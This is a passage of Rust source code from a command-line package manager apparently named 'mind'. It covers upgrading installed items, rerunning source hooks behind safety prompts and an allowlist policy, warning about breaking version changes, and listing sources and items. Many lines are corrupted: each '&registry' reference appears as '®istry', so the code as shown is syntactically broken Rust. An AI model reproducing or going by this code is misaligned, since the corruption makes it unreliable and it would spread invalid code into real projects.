dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
fn emit_upgrade_result(result: Option<MutationResult>) -> Result<()> {
match result {
Some(r) => print_json(&r),
None => Ok(()),
}
}
fn upgrade_inner(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
no_sync: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<Option<MutationResult>> {
upgrade_inner_scoped(
paths,
yes,
item_ref,
no_sync,
SourceScope::All,
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)
}
#[derive(Clone, Copy)]
enum SourceScope<'a> {
All,
Names(&'a [String], Option<&'a str>),
Filter(&'a str),
}
#[allow(clippy::too_many_arguments)]
fn upgrade_inner_scoped(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
no_sync: bool,
source_scope: SourceScope<'_>,
key_scope: Option<&[String]>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<Option<MutationResult>> {
let out = crate::render::ctx();
let policy = Policy::load()?;
let mut registry = Registry::load(paths)?;
let (source_scope, source_filter_desc): (Option<HashSet<String>>, Option<&str>) =
match source_scope {
SourceScope::All => (None, None),
SourceScope::Names(names, desc) => (Some(names.iter().cloned().collect()), desc),
SourceScope::Filter(sel) => {
crate::resolve::validate_source_selector(sel)?;
let names = select_sources(®istry, sel)?;
(Some(names.into_iter().collect()), Some(sel))
}
};
if !no_sync {
sync_sources_for_upgrade_scoped(
paths,
&mut registry,
item_ref,
source_scope.as_ref(),
&out,
)?;
}
let manifest = Manifest::load(paths)?;
let filter = item_ref.map(parse_item_ref).transpose()?;
let key_scope: Option<HashSet<String>> = key_scope.map(|keys| keys.iter().cloned().collect());
let from_filter: Option<HashSet<String>> = filter.as_ref().map(|f| {
manifest
.items
.values()
.filter(|it| crate::resolve::installed_matches_glob(it, f))
.map(|it| it.source.clone())
.collect::<HashSet<String>>()
});
let from_keys: Option<HashSet<String>> = key_scope.as_ref().map(|keys| {
manifest
.items
.values()
.filter(|it| keys.contains(it.key().as_str()))
.map(|it| it.source.clone())
.collect::<HashSet<String>>()
});
let breaking_scope = |name: &str| {
[&source_scope, &from_filter, &from_keys]
.iter()
.all(|s| s.as_ref().is_none_or(|s| s.contains(name)))
};
let breaking_moves = settle_breaking_moves(paths, &mut registry, &breaking_scope, yes, &out)?;
let version_rows = source_versions(®istry, &breaking_scope);
let hook_scope: Option<HashSet<String>> = {
let candidates: Vec<HashSet<String>> = [from_filter, source_scope.clone(), from_keys]
.into_iter()
.flatten()
.collect();
let mut candidates = candidates.into_iter();
candidates
.next()
.map(|first| candidates.fold(first, |acc, c| acc.intersection(&c).cloned().collect()))
};
let scope_names: Vec<String> = {
let mut v: Vec<String> = hook_scope.iter().flatten().cloned().collect();
v.sort();
v
};
let filter_desc: Vec<&str> = [item_ref, source_filter_desc]
.into_iter()
.flatten()
.collect();
let multi_source_note = multi_source_upgrade_note(&scope_names, &filter_desc);
if let Some(note) = &multi_source_note {
if out.json {
eprintln!("{} {note}", out.warn());
} else {
println!(" {} {note}", out.warn());
}
}
rerun_source_hooks(
paths,
&mut registry,
dangerously_skip_hook_check,
hook_scope.as_ref(),
policy.as_ref(),
)?;
let mut catalog: Vec<CatalogItem> = Vec::new();
let mut unscannable: Vec<String> = Vec::new();
for s in ®istry.sources {
if let Err(e) = catalog::scan_source(paths, s, &mut catalog) {
unscannable.push(s.name.clone());
if !out.json {
let safe_e = strip_ansi(&e.to_string());
eprintln!(
"{} could not check {}: {safe_e}; run `mind sync` or `mind introspect` to diagnose",
out.warn(),
s.name
);
}
}
}
let profile_sources: Vec<String> = if filter.is_none() && key_scope.is_none() {
registry
.sources
.iter()
.filter(|s| {
s.is_profile_tracked()
&& source_scope.as_ref().is_none_or(|sc| sc.contains(&s.name))
&& !unscannable.contains(&s.name)
&& policy
.as_ref()
.is_none_or(|p| !p.lock() || p.allow_matches(&s.base_identity()))
})
.map(|s| s.name.clone())
.collect()
} else {
Vec::new()
};
let tracking = track_profiles_for_upgrade(paths, &profile_sources, &catalog)?;
let manifest = if profile_sources.is_empty() {
manifest
} else {
registry = Registry::load(paths)?;
Manifest::load(paths)?
};
warn_apparent_breaks(®istry, &manifest, &catalog, hook_scope.as_ref(), &out);
let mut pending: Vec<Upgrade> = Vec::new();
for installed in manifest.items.values() {
match upgrade_item_disposition(
installed,
filter.as_ref(),
source_scope.as_ref(),
key_scope.as_ref(),
policy.as_ref(),
®istry,
) {
UpgradeDisposition::OutOfScope => continue,
UpgradeDisposition::PolicyBlocked => {
if !out.json {
println!(
"{} skipping {} from {}: source not permitted by the managed policy's allowlist",
out.warn(),
installed.display_key(),
strip_ansi(&installed.source)
);
}
continue;
}
UpgradeDisposition::SourceNotRegistered => {
if !out.json {
println!(
"{} skipping {} from {}: source is not registered (not currently melded); run `mind introspect` to check for drift",
out.warn(),
installed.display_key(),
strip_ansi(&installed.source)
);
}
continue;
}
UpgradeDisposition::Consider => {}
}
let Some(cat) = catalog.iter().find(|c| {
c.kind == installed.kind
&& c.name == installed.bare_name
&& c.source == installed.source
}) else {
continue;
};
let new_hash = cat.content_hash()?;
let new_name = cat.effective_name();
let new_commit = registry
.find(&installed.source)
.and_then(|s| s.commit.clone())
.unwrap_or_default();
let renamed = new_name != installed.name;
if new_hash != installed.hash || renamed {
pending.push(Upgrade {
cat: cat.clone(),
old: installed.clone(),
new_commit,
new_hash,
new_name,
});
}
}
let target = item_ref.unwrap_or("all");
let with_profiles = |mut r: MutationResult| {
r.profile_additions = tracking.additions.clone();
r.profile_departures = tracking.departures.clone();
r.sources = version_rows.clone();
r.breaking = breaking_moves.clone();
r
};
if pending.is_empty() && !tracking.has_additions() {
if !unscannable.is_empty() {
if out.json {
let mut result = MutationResult::new("upgrade", target, "incomplete");
result.count = Some(unscannable.len());
return Ok(Some(with_profiles(result)));
}
println!(
"no pending upgrades among the source(s) that could be checked; {} source(s) could not be checked: {}",
unscannable.len(),
unscannable.join(", ")
);
return Ok(None);
}
if out.json {
return Ok(Some(with_profiles(MutationResult::new(
"upgrade",
target,
"up-to-date",
))));
}
println!("everything is up to date");
return Ok(None);
}
if !out.json {
print_upgrade_report(®istry, &pending, &tracking);
}
for up in &pending {
if up.new_name == up.old.name {
continue;
}
let new_key = format!("{}:{}", up.old.kind.as_str(), up.new_name);
if let Some(occupant) = manifest.items.get(&new_key) {
let same_identity = occupant.kind == up.old.kind
&& occupant.bare_name == up.old.bare_name
&& occupant.source == up.old.source;
if !same_identity {
return Err(MindError::UpgradeRenameCollision {
key: strip_ansi(&new_key),
existing_source: strip_ansi(&occupant.source),
incoming: strip_ansi(up.old.key().as_str()),
incoming_source: strip_ansi(&up.old.source),
});
}
}
}
{
use std::collections::HashMap;
let mut seen: HashMap<String, &Upgrade> = HashMap::new();
for up in &pending {
let key = format!("{}:{}", up.old.kind.as_str(), up.new_name);
if let Some(prev) = seen.get(&key) {
let same_identity = prev.old.kind == up.old.kind
&& prev.old.bare_name == up.old.bare_name
&& prev.old.source == up.old.source;
if !same_identity {
return Err(MindError::UpgradeRenameCollision {
key: strip_ansi(&key),
existing_source: strip_ansi(&prev.old.source),
incoming: strip_ansi(up.old.key().as_str()),
incoming_source: strip_ansi(&up.old.source),
});
}
} else {
seen.insert(key, up);
}
}
}
if !yes {
if out.json {
let action = match &multi_source_note {
Some(note) => {
json_confirmation_action(format!("applying pending upgrades ({note})"), true)
}
None => json_confirmation_action("applying pending upgrades", true),
};
return Err(MindError::ConfirmationRequired { action });
}
if !confirm_default_yes("apply these upgrades?")? {
println!("aborted; nothing changed");
return Ok(None);
}
}
let mut manifest = manifest;
let mut applied: Vec<String> = Vec::new();
let mut applied_keys: Vec<String> = Vec::new();
let mut renamed = false;
for up in &pending {
let siblings = siblings_of(&catalog, &up.cat.source);
let (cat, dropped_requires) = match link_reconciled(paths, ®istry, &up.cat) {
Ok(c) => c,
Err(e) => {
save_and_warn_workflows(paths, &manifest, &applied_keys);
return Err(e);
}
};
let is_update = up.new_name == up.old.name;
let installed = match install_item(
paths,
&cat,
&up.new_commit,
&siblings,
false,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
is_update,
) {
Ok(mut i) => {
i.dropped_requires = dropped_requires;
i.version = release_version(®istry, &i);
crate::profile::carry_reasons(&mut i, &up.old);
i
}
Err(e) => {
save_and_warn_workflows(paths, &manifest, &applied_keys);
return Err(e);
}
};
if up.new_name != up.old.name {
let mut old_for_uninstall = up.old.clone();
old_for_uninstall
.links
.retain(|l| !installed.links.contains(l));
if let Err(e) = uninstall_item(
paths,
&old_for_uninstall,
&up.cat.uninstall_hooks(),
&up.old.commit,
dangerously_skip_hook_check,
) {
applied_keys.push(installed.key().into());
manifest.insert(installed);
save_and_warn_workflows(paths, &manifest, &applied_keys);
return Err(e);
}
manifest.items.remove(up.old.key().as_str());
renamed = true;
if !out.json {
println!(
"{} upgraded {} -> {}",
out.ok(),
up.old.display_key(),
out.green(&installed.display_key())
);
}
} else {
for old_link in &up.old.links {
if !installed.links.contains(old_link)
&& let Err(e) = install::remove_path(std::path::Path::new(old_link))
{
applied_keys.push(installed.key().into());
manifest.insert(installed);
save_and_warn_workflows(paths, &manifest, &applied_keys);
return Err(e);
}
}
if !out.json {
println!(
"{} upgraded {}",
out.ok(),
out.green(&installed.display_key())
);
}
}
applied.push(installed.display_key());
applied_keys.push(installed.key().into());
manifest.insert(installed);
}
manifest.save(paths)?;
warn_workflows(paths, &manifest, &applied_keys);
for (source_name, plan) in &tracking.plans {
let flow = InstallFlow {
yes: true,
clobber: Clobber::Prompt,
dangerously_skip: dangerously_skip_hook_check,
dangerously_skip_build: dangerously_skip_build_hook_check,
};
let keys = apply_profile_plan(paths, source_name, plan, flow, out.json)?;
applied.extend(keys.iter().map(|k| strip_ansi(k)));
}
if out.json {
let outcome = if renamed { "renamed" } else { "upgraded" };
let mut result = MutationResult::new("upgrade", target, outcome);
result.installed = applied;
return Ok(Some(with_profiles(result)));
}
Ok(None)
}
fn rerun_source_hooks(
paths: &Paths,
registry: &mut Registry,
dangerously_skip_hook_check: bool,
in_scope: Option<&HashSet<String>>,
policy: Option<&Policy>,
) -> Result<()> {
let mut changed = false;
for source in &mut registry.sources {
let dir = source.clone_dir(paths);
let pending = pending_update_hooks(source, &dir);
if pending.hooks.is_empty() {
continue;
}
if let Some(scope) = in_scope
&& !scope.contains(&source.name)
{
continue;
}
if let Some(policy) = policy
&& policy.lock()
&& !policy.allow_matches(&source.base_identity())
{
if !json_mode() {
println!(
"skipping {} hook for {}: source not permitted by the managed policy's allowlist",
pending.event, source.name
);
}
continue;
}
let event = pending.event;
let recorded_event = pending.recorded_event;
let pin_desc = pin_description(&source.pin);
let commit = source.commit.clone().unwrap_or_default();
let clone_path = dir.display().to_string();
for hook in pending.hooks {
let run = if dangerously_skip_hook_check {
if !json_mode() {
println!(
"note: running {event} hook for {} without the safety prompt (--dangerously-skip-install-hook-check)",
source.name
);
}
true
} else if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: skipped the {event} hook for {} (no TTY); its tooling may be out of date until the hook is run",
source.name
);
}
false
} else {
let browse_url = source.browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
&hook.label,
event,
hook.optional,
&source.name,
&pin_desc,
&commit,
&clone_path,
&hook.run,
hook.declared_override.as_deref(),
browse_url.as_deref(),
);
if hook.optional {
matches!(
crate::hook::prompt_choice_optional(&disclosure)?,
crate::hook::OptionalChoice::Run
)
} else {
matches!(
crate::hook::prompt_choice(&disclosure)?,
crate::hook::HookChoice::RunAndContinue
)
}
};
if run {
let hook_env = source_hook_env(source);
if let Err(e) = crate::hook::run_hook(
&hook.run,
&dir,
&source.name,
event,
&hook.label,
&hook_env,
) {
if changed {
registry.save(paths)?;
}
return Err(e);
}
let ran_at = source.commit.clone();
record_install_hook(source, &hook.run, recorded_event, ran_at);
changed = true;
if !json_mode() {
println!("ran {event} hook for {}", source.name);
}
}
}
}
if changed {
registry.save(paths)?;
}
Ok(())
}
struct UpgradeHook {
run: String,
label: String,
optional: bool,
declared_override: Option<String>,
}
struct PendingUpgradeHooks {
event: &'static str,
recorded_event: RecordedEvent,
hooks: Vec<UpgradeHook>,
}
fn pending_update_hooks(
source: &crate::source::Source,
clone_dir: &std::path::Path,
) -> PendingUpgradeHooks {
let loaded = MindToml::load(clone_dir).ok().flatten();
let has_manifest = loaded.is_some();
let declared = loaded
.map(|mf| {
mf.resolved_hooks(&clone_dir.join("mind.toml"))
.unwrap_or_default()
})
.unwrap_or_default();
select_upgrade_hooks(source, &declared, has_manifest)
}
fn select_upgrade_hooks(
source: &crate::source::Source,
declared: &[crate::mindfile::ResolvedHook],
has_manifest: bool,
) -> PendingUpgradeHooks {
let current = source.commit.as_deref();
let keep_curated = !has_manifest;
let mut updates: Vec<UpgradeHook> = declared
.iter()
.filter(|h| h.event == HookEvent::Update)
.map(|h| UpgradeHook {
run: h.run.clone(),
label: h.label().to_string(),
optional: h.optional,
declared_override: None,
})
.collect();
if keep_curated {
updates.extend(
source
.install_hooks
.iter()
.filter(|r| r.origin == Some(HookOrigin::Curated))
.filter(|r| r.event() == RecordedEvent::Update)
.map(|r| UpgradeHook {
run: r.command.clone(),
label: r.label().to_string(),
optional: r.optional,
declared_override: None,
}),
);
}
if !updates.is_empty() {
if let Some(cmd) = source.override_command() {
let replaced: Vec<String> = updates.iter().map(|h| h.run.clone()).collect();
updates = vec![UpgradeHook {
run: cmd.to_string(),
label: cmd.to_string(),
optional: false,
declared_override: Some(replaced.join("; ")),
}];
}
updates.retain(|h| !hook_ran_at(source, &h.run, RecordedEvent::Update, current));
return PendingUpgradeHooks {
event: RecordedEvent::Update.as_str(),
recorded_event: RecordedEvent::Update,
hooks: updates,
};
}
let declared_install: Vec<String> = declared
.iter()
.filter(|h| h.event == HookEvent::Install)
.map(|h| h.run.clone())
.collect();
PendingUpgradeHooks {
event: RecordedEvent::Install.as_str(),
recorded_event: RecordedEvent::Install,
hooks: source
.pending_install_hooks(current, &declared_install, keep_curated)
.into_iter()
.map(|r| {
let decl = declared
.iter()
.find(|h| h.event == HookEvent::Install && h.run == r.command);
let declared_override = (r.origin == Some(HookOrigin::Override)
&& !declared_install.is_empty())
.then(|| declared_install.join("; "));
UpgradeHook {
run: r.command.clone(),
label: decl
.map(|d| d.label())
.unwrap_or_else(|| r.label())
.to_string(),
optional: decl.map(|d| d.optional).unwrap_or(r.optional),
declared_override,
}
})
.collect(),
}
}
#[derive(Debug, PartialEq, Eq)]
enum UpgradeDisposition {
OutOfScope,
PolicyBlocked,
SourceNotRegistered,
Consider,
}
fn policy_identity(registry: &Registry, source_name: &str) -> String {
registry
.find(source_name)
.map(|s| s.base_identity())
.unwrap_or_else(|| source_name.to_string())
}
fn upgrade_item_disposition(
installed: &crate::manifest::InstalledItem,
filter: Option<&crate::resolve::ItemRef>,
source_scope: Option<&HashSet<String>>,
key_scope: Option<&HashSet<String>>,
policy: Option<&Policy>,
registry: &Registry,
) -> UpgradeDisposition {
if let Some(f) = filter
&& !crate::resolve::installed_matches_glob(installed, f)
{
return UpgradeDisposition::OutOfScope;
}
if let Some(scope) = source_scope
&& !scope.contains(&installed.source)
{
return UpgradeDisposition::OutOfScope;
}
if let Some(scope) = key_scope
&& !scope.contains(installed.key().as_str())
{
return UpgradeDisposition::OutOfScope;
}
if let Some(policy) = policy
&& policy.lock()
{
if registry.find(&installed.source).is_none() {
return UpgradeDisposition::SourceNotRegistered;
}
if !policy.allow_matches(&policy_identity(registry, &installed.source)) {
return UpgradeDisposition::PolicyBlocked;
}
}
UpgradeDisposition::Consider
}
fn warn_apparent_breaks(
registry: &Registry,
manifest: &Manifest,
catalog: &[CatalogItem],
scope: Option<&HashSet<String>>,
out: &crate::render::OutputCtx,
) {
let mut any_drop = false;
for source in ®istry.sources {
let Pin::Version(vp) = &source.pin else {
continue;
};
if scope.is_some_and(|s| !s.contains(&source.name)) {
continue;
}
let (Some(to), Some(commit)) = (vp.resolved.as_deref(), source.commit.as_deref()) else {
continue;
};
let installed: Vec<&crate::manifest::InstalledItem> = manifest
.items
.values()
.filter(|i| i.source == source.name)
.collect();
let Some(moved) = installed.iter().find(|i| i.commit != commit) else {
continue;
};
let from = moved.version.as_deref().unwrap_or("?");
let compatible = match (vp.parsed_range(), crate::version::Version::parse(from)) {
(Some(range), Some(v)) => range.matches(&v),
_ => true,
};
let siblings: Vec<&CatalogItem> =
catalog.iter().filter(|c| c.source == source.name).collect();
let cases = apparent_break_cases(
installed
.iter()
.map(|i| (i.kind, i.bare_name.as_str(), i.display_key())),
&siblings,
);
for case in cases {
any_drop |= case.starts_with("drops ");
if !compatible {
continue;
}
let line = format!(
"{} {from} -> {} looks breaking: {case}",
strip_ansi(&source.name),
strip_ansi(to)
);
if out.json {
eprintln!("{} {line}", out.warn());
} else {
println!("{} {line}", out.warn());
}
}
}
if any_drop {
eprintln!("hint: run `mind forget --dropped` to remove items a source no longer offers");
}
}
pub(crate) fn apparent_break_cases<'a>(
old: impl IntoIterator<Item = (ItemKind, &'a str, String)>,
siblings: &[&CatalogItem],
) -> Vec<String> {
let mut cases: Vec<String> = Vec::new();
for (kind, bare, key) in old {
let same_name: Vec<&&CatalogItem> = siblings.iter().filter(|c| c.name == bare).collect();
let Some(cat) = same_name.iter().find(|c| c.kind == kind) else {
match same_name.first() {
None => cases.push(format!("drops {key}")),
Some(c) => cases.push(format!(
"changes {} from {} to {}",
strip_ansi(bare),
kind.as_str(),
c.kind.as_str()
)),
}
continue;
};
for name in crate::namespace::referenced_names(&read_item_text(cat)) {
if !siblings.iter().any(|c| c.name == name) {
cases.push(format!(
"removes {} referenced by {key}",
strip_ansi(&format!("{{{{ns:{name}}}}}")),
));
}
}
}
cases
}
struct Upgrade {
cat: CatalogItem,
old: crate::manifest::InstalledItem,
new_commit: String,
new_hash: String,
new_name: String,
}
fn print_upgrade_report(registry: &Registry, pending: &[Upgrade], tracking: &ProfileTracking) {
let out = crate::render::ctx();
print_profile_additions(tracking);
let n = pending.len();
if n == 0 {
return;
}
let (noun, verb) = if n == 1 {
("item", "has")
} else {
("items", "have")
};
println!("{n} {noun} {verb} upstream changes:\n");
for up in pending {
let cat_name = crate::sanitize::strip_ansi(&up.cat.name);
let cat_source = crate::sanitize::strip_ansi(&up.cat.source);
let old_name = crate::sanitize::strip_ansi(&up.old.name);
let new_name = crate::sanitize::strip_ansi(&up.new_name);
if up.new_name != up.old.name {
println!(
" {} {} {} {} rename {} -> {}",
out.warn(),
up.cat.kind,
cat_name,
out.dim(&format!("[{cat_source}]")),
old_name,
out.green(&new_name)
);
} else {
println!(
" {} {} {}",
out.warn(),
up.cat.display_key(),
out.dim(&format!("[{cat_source}]"))
);
}
println!(
" {} {} -> {}",
out.dim("hash"),
short(&up.old.hash),
short(&up.new_hash)
);
println!(
" {} {} -> {}",
out.dim("commit"),
short(&up.old.commit),
short(&up.new_commit)
);
if let Some(src) = registry.find(&up.cat.source)
&& let Pin::Version(vp) = &src.pin
&& src.commit.as_deref() == Some(up.new_commit.as_str())
&& let Some(to) = &vp.resolved
{
println!(
" {} {} -> {}",
out.dim("version"),
up.old.version.as_deref().unwrap_or("?"),
to
);
}
if let Some(src) = registry.find(&up.cat.source)
&& !up.old.commit.is_empty()
&& !up.new_commit.is_empty()
&& let Some(url) = src.compare_url(&up.old.commit, &up.new_commit)
{
println!(" {} {url}", out.dim("diff"));
}
println!();
}
}
pub fn recall(
paths: &Paths,
sources: bool,
item: Option<&str>,
kind: Option<ItemKind>,
source: Option<&str>,
json: bool,
tree: bool,
) -> Result<()> {
let out = crate::render::ctx();
if (sources || item.is_some()) && (kind.is_some() || source.is_some()) {
eprintln!(
"note: --kind/--source filter the item listing; ignored with --sources or a single item"
);
}
if tree && sources {
eprintln!("note: --tree shows the dependency forest; ignored with --sources");
}
if tree && !sources {
let manifest = Manifest::load(paths)?;
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry).unwrap_or_default();
let graph = crate::deps::installed_graph(
&catalog,
|it| {
manifest
.items
.get(it.key().as_str())
.is_some_and(|m| m.source == it.source)
},
read_item_text,
);
if json {
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
let key = found.key();
let node = graph
.subtree_node(key.as_str())
.unwrap_or_else(|| crate::deps::DepNode::normal(found.display_key(), vec![]));
return print_json(&node);
} else {
return print_json(&graph.forest_nodes());
}
}
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
let key = found.key();
match graph.render_subtree(key.as_str()) {
Some(subtree) => print!("{subtree}"),
None => println!("{}", found.display_key()),
}
} else {
let forest = graph.render_forest();
if forest.is_empty() {
println!("no installed items");
} else {
print!("{forest}");
}
}
return Ok(());
}
if let Some(s) = source {
crate::resolve::validate_source_selector(s)?;
}
if sources {
let registry = Registry::load(paths)?;
let policy = policy_for_display();
if json {
let docs = registry
.sources
.iter()
.map(|s| {
let mut v = serde_json::to_value(s)
.map_err(|e| MindError::json("recall sources", e))?;
if let Some(obj) = v.as_object_mut() {
insert_profile_json(paths, s, obj);
if let Some(version) = version_json(&s.pin) {
obj.insert(
"version".into(),
serde_json::to_value(version)
.map_err(|e| MindError::json("recall sources", e))?,
);
}
obj.insert(
"auto_update".into(),
serde_json::to_value(auto_update_json(
s,
auto_update_cap(policy.as_ref(), s),
))
.map_err(|e| MindError::json("recall sources", e))?,
);
}
Ok(v)
})
.collect::<Result<Vec<_>>>()?;
return print_json_envelope(&docs);
}
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
return Ok(());
}
let rows = registry
.sources
.iter()
.map(|s| {
let commit = s
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "unsynced".into());
let ns = match &s.alias {
Some(a) => format!(" namespace:{a}"),
None => String::new(),
};
let hook = match s.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
let origin = origin_label(s.origin);
let release = version_token(&s.pin);
let auto = auto_update_token(s, auto_update_cap(policy.as_ref(), s));
vec![
out.bullet(),
s.name.clone(),
out.dim(&s.url),
out.dim(&format!("[{commit}{release}{auto}{ns}{hook}{origin}]")),
s.description.clone().unwrap_or_default(),
]
})
.collect::<Vec<_>>();
out.print_rows(&rows);
for s in ®istry.sources {
for mark in version_marks(s) {
println!("{mark}");
}
if let Some(hint) = version_pin_hint(paths, s) {
println!("{}", out.dim(&hint));
}
}
print_profile_block(paths, ®istry.sources.iter().collect::<Vec<_>>());
return Ok(());
}
let manifest = Manifest::load(paths)?;
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
if json {
let mut doc = serde_json::to_value(found.sanitized_for_display())
.map_err(|e| MindError::json("recall item", e))?;
if found.kind == ItemKind::Workflow
&& let Some(obj) = doc.as_object_mut()
{
let detail = workflow_detail(paths, &manifest, found);
if let Some(when) = &detail.when_to_use {
obj.insert(
"when_to_use".to_string(),
serde_json::Value::String(crate::sanitize::strip_ansi(when)),
);
}
obj.insert(
"harness_name".to_string(),
match &detail.harness_name {
Some(name) => serde_json::Value::String(crate::sanitize::strip_ansi(name)),
None => serde_json::Value::Null,
},
);
obj.insert(
"workflow_findings".to_string(),
serde_json::Value::Array(
detail
.findings
.iter()
.map(|f| serde_json::Value::String(crate::sanitize::strip_ansi(f)))
.collect(),
),
);
}
return print_json(&doc);
}
println!("{}", out.bold(&found.display_key()));
if let Some(d) = &found.description {
println!(" {}{d}", out.dim("desc "));
}
println!(" {}{}", out.dim("source "), found.source);
if !found.profiles.is_empty() {
let also = if found.explicit {
" (also learned by name)"
} else {
""
};
println!(
" {}{}{also}",
out.dim("profile "),
found
.profiles
.iter()
.map(|p| strip_ansi(p))
.collect::<Vec<_>>()
.join(", ")
);
}
println!(" {}{}", out.dim("commit "), short(&found.commit));
println!(" {}{}", out.dim("hash "), short(&found.hash));
println!(
" {}{}",
out.dim("store "),
crate::sanitize::strip_ansi(&paths.mind_home.join(&found.store).display().to_string())
);
for link in &found.links {
println!(
" {}{}",
out.dim("link "),
crate::sanitize::strip_ansi(link)
);
}
if !found.dropped_requires.is_empty() {
println!(
" {}{}",
out.dim("dropped "),
out.yellow(&format!(
"requires {} (unsatisfiable from a single-item link)",
found
.dropped_requires
.iter()
.map(|e| crate::sanitize::strip_ansi(e))
.collect::<Vec<_>>()
.join(", ")
))
);
}
if found.kind == ItemKind::Workflow {
for msg in workflow_detail(paths, &manifest, found).findings {
println!(" {}{}", out.dim("harness "), out.yellow(&msg));
}
}
{
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry)?;
if let Some(cat) = catalog.iter().find(|c| {
c.kind == found.kind && c.name == found.bare_name && c.source == found.source
}) {
let hash_lag = cat.content_hash().map_or(true, |h| h != found.hash);
let rename_lag = cat.effective_name() != found.name;
if hash_lag || rename_lag {
println!(
" {}{}",
out.dim("status "),
out.yellow("out of date; run `mind upgrade`")
);
}
}
}
return Ok(());
}
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry)?;
let filtering = kind.is_some() || source.is_some();
let cat_items = |s: &crate::source::Source| -> Vec<&CatalogItem> {
let mut v: Vec<&CatalogItem> = catalog
.iter()
.filter(|it| it.source == s.name && kind.is_none_or(|k| it.kind == k))
.collect();
v.sort_by_key(|x| x.key());
v
};
let orphans_of = |s: &crate::source::Source| -> Vec<&crate::manifest::InstalledItem> {
let mut v: Vec<&crate::manifest::InstalledItem> = manifest
.items
.values()
.filter(|m| {
m.source == s.name
&& kind.is_none_or(|k| m.kind == k)
&& !catalog.iter().any(|it| {
it.source == m.source && it.kind == m.kind && it.name == m.bare_name
})
})
.collect();
v.sort_by_key(|x| x.key());
v
};
let source_shown =
|s: &crate::source::Source| source.is_none_or(|q| source_matches_glob(&s.name, q));
if json {
let out: Vec<serde_json::Value> = registry
.sources
.iter()
.filter(|s| source_shown(s))
.map(|s| {
let items = cat_items(s);
let mut rows: Vec<serde_json::Value> = items
.iter()
.map(|it| {
let inst = manifest.items.values().find(|m| {
m.source == it.source && m.kind == it.kind && m.bare_name == it.name
});
let mut row = serde_json::json!({
"key": it.display_key(),
"installed": inst.is_some(),
"commit": inst.map(|m| m.commit.clone()),
});
let when = match inst {
Some(m) => installed_when_to_use(paths, m),
None => it
.when_to_use
.as_deref()
.filter(|_| it.kind == ItemKind::Workflow)
.map(crate::sanitize::strip_ansi),
};
insert_when_to_use(&mut row, when);
row
})
.collect();
for m in orphans_of(s) {
let mut row = serde_json::json!({
"key": m.display_key(),
"installed": true,
"commit": m.commit.clone(),
"orphaned": true,
});
insert_when_to_use(&mut row, installed_when_to_use(paths, m));
rows.push(row);
}
serde_json::json!({
"name": s.name,
"url": s.url,
"commit": s.commit,
"alias": s.alias,
"items": rows,
})
})
.collect();
return print_json_envelope(&out);
}
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
}
let display_policy = policy_for_display();
for s in ®istry.sources {
if !source_shown(s) {
continue;
}
let items = cat_items(s);
let orphans = orphans_of(s);
if items.is_empty() && orphans.is_empty() && filtering {
continue; }
let commit = s
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "unsynced".into());
let ns = match &s.alias {
Some(a) => format!(" namespace:{a}"),
None => String::new(),
};
let hook = match s.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
let origin = origin_label(s.origin);
let release = version_token(&s.pin);
let auto = auto_update_token(s, auto_update_cap(display_policy.as_ref(), s));
println!(
"{} {} {}{}",
out.bullet(),
out.bold(&s.name),
out.dim(&format!("[{commit}{release}{auto}{ns}{hook}{origin}]")),
s.description
.as_deref()
.map(|d| format!(" {d}"))
.unwrap_or_default()
);
let mut rows: Vec<Vec<String>> = Vec::new();
for it in items {
let key = it.display_key();
let installed = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
match installed {
Some(m) => {
let hash_lag = it.content_hash().map_or(true, |h| h != m.hash);
let rename_lag = it.effective_name() != m.name;
let lag = hash_lag || rename_lag;
let outdated = if lag {
format!(" {}", out.yellow("(outdated; run mind upgrade)"))
} else {
String::new()
};
let marker = if lag { out.stale() } else { out.ok() };
rows.push(vec![
format!(" {marker}"),
key,
format!("installed @ {}{}", out.green(&short(&m.commit)), outdated),
]);
}
None => rows.push(vec![
format!(" {}", out.available()),
out.dim(&key),
out.dim("available"),
]),
}
}
for m in orphans {
rows.push(vec![
format!(" {}", out.warn()),
m.display_key(),
format!(
"installed @ {} {}",
short(&m.commit),
out.yellow("(removed upstream)")
),
]);
}
out.print_rows(&rows);
for mark in version_marks(s) {
println!(" {mark}");
}
if let Some(hint) = version_pin_hint(paths, s) {
println!(" {}", out.dim(&hint));
}
}
if source.is_none() {
let unmanaged: Vec<crate::unmanaged::UnmanagedItem> =
crate::unmanaged::scan(paths, &manifest)?
.into_iter()
.filter(|u| kind.is_none_or(|k| u.kind == k))
.collect();
if !unmanaged.is_empty() {
println!(
"{} {}",
out.bullet(),
out.bold("unmanaged: not installed by mind")
);
let rows: Vec<Vec<String>> = unmanaged
.iter()
.map(|u| {
let where_ = u
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
vec![
format!(" {}", out.warn()),
u.display_key(),
out.dim(&where_),
]
})
.collect();
out.print_rows(&rows);
}
}
Ok(())
}
pub fn probe(
paths: &Paths,
query: Option<&str>,
kind: Option<ItemKind>,
source: Option<&str>,
json: bool,
